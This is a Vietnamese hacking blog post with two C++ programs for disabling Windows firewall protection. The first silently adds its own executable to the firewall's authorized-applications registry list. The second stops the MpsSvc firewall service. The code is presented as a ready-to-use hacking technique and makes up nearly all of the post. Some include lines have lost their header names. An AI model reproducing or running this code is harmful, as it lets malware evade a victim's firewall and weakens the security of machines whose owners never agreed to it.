Trao đổi với tôi

http://www.buidao.com

7/29/09

[Hacking] Hướng Dẫn Kill tường lửa của windows bằng C++

- Hướng Dẫn Kill tường lửa của windows bằng C++

Link:http://toanthang.spaces.live.com/?_c11_BlogPart_BlogPart=blogview&_c=BlogPart&partqs=cat%3dL%25e1%25ba%25adp%2520tr%25c3%25acnh%2520C%252b%252b
Link: http://forums.congdongcviet.com/showthread.php?t=18737

1. Tác động đến Registry :

Code :

#define WIN32_LEAN_AND_MEAN
#include
#include
using namespace std;

char fwAuthApp[1024];

char* GetRegKey()
{
HKEY hk = 0;

RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
int i;
DWORD sz = 4;

if (
RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
{
sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
}
RegCloseKey(hk);
return
fwAuthApp;
}

void AddException(string path)
{
HKEY hk;
DWORD dw;

string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";

RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
GetRegKey(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&
hk,
&
dw
);

RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(
BYTE*)skey.c_str(),
(
DWORD)skey.length()
);

RegCloseKey(hk);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;

CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
return
0;
}

2. Kill File driver :

#include
#include

int WFDisable( );

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
int wf;
TCHAR s[20];
wf = WFDisable( );
if(
wf == 0 ) {
MessageBoxA(0,"success","Coder_gate",0);
}
else {
sprintf(s,"Error %d",wf);
MessageBoxA(0,s,"Coder_gate",0);
}
return
0;
}

int WFDisable()
{
SERVICE_STATUS sStatus;

SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );
if(
hManager == NULL ) {
return(
1 );
}
SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", SERVICE_ALL_ACCESS );
if(
hService == NULL ) {
return(
2 );
}
BOOL bControl = ControlService( hService, SERVICE_CONTROL_STOP, &sStatus );
if(
bControl == 0 )
{
return(
3 );
}
CloseServiceHandle( hManager );
CloseServiceHandle( hService );
return(
0 );
}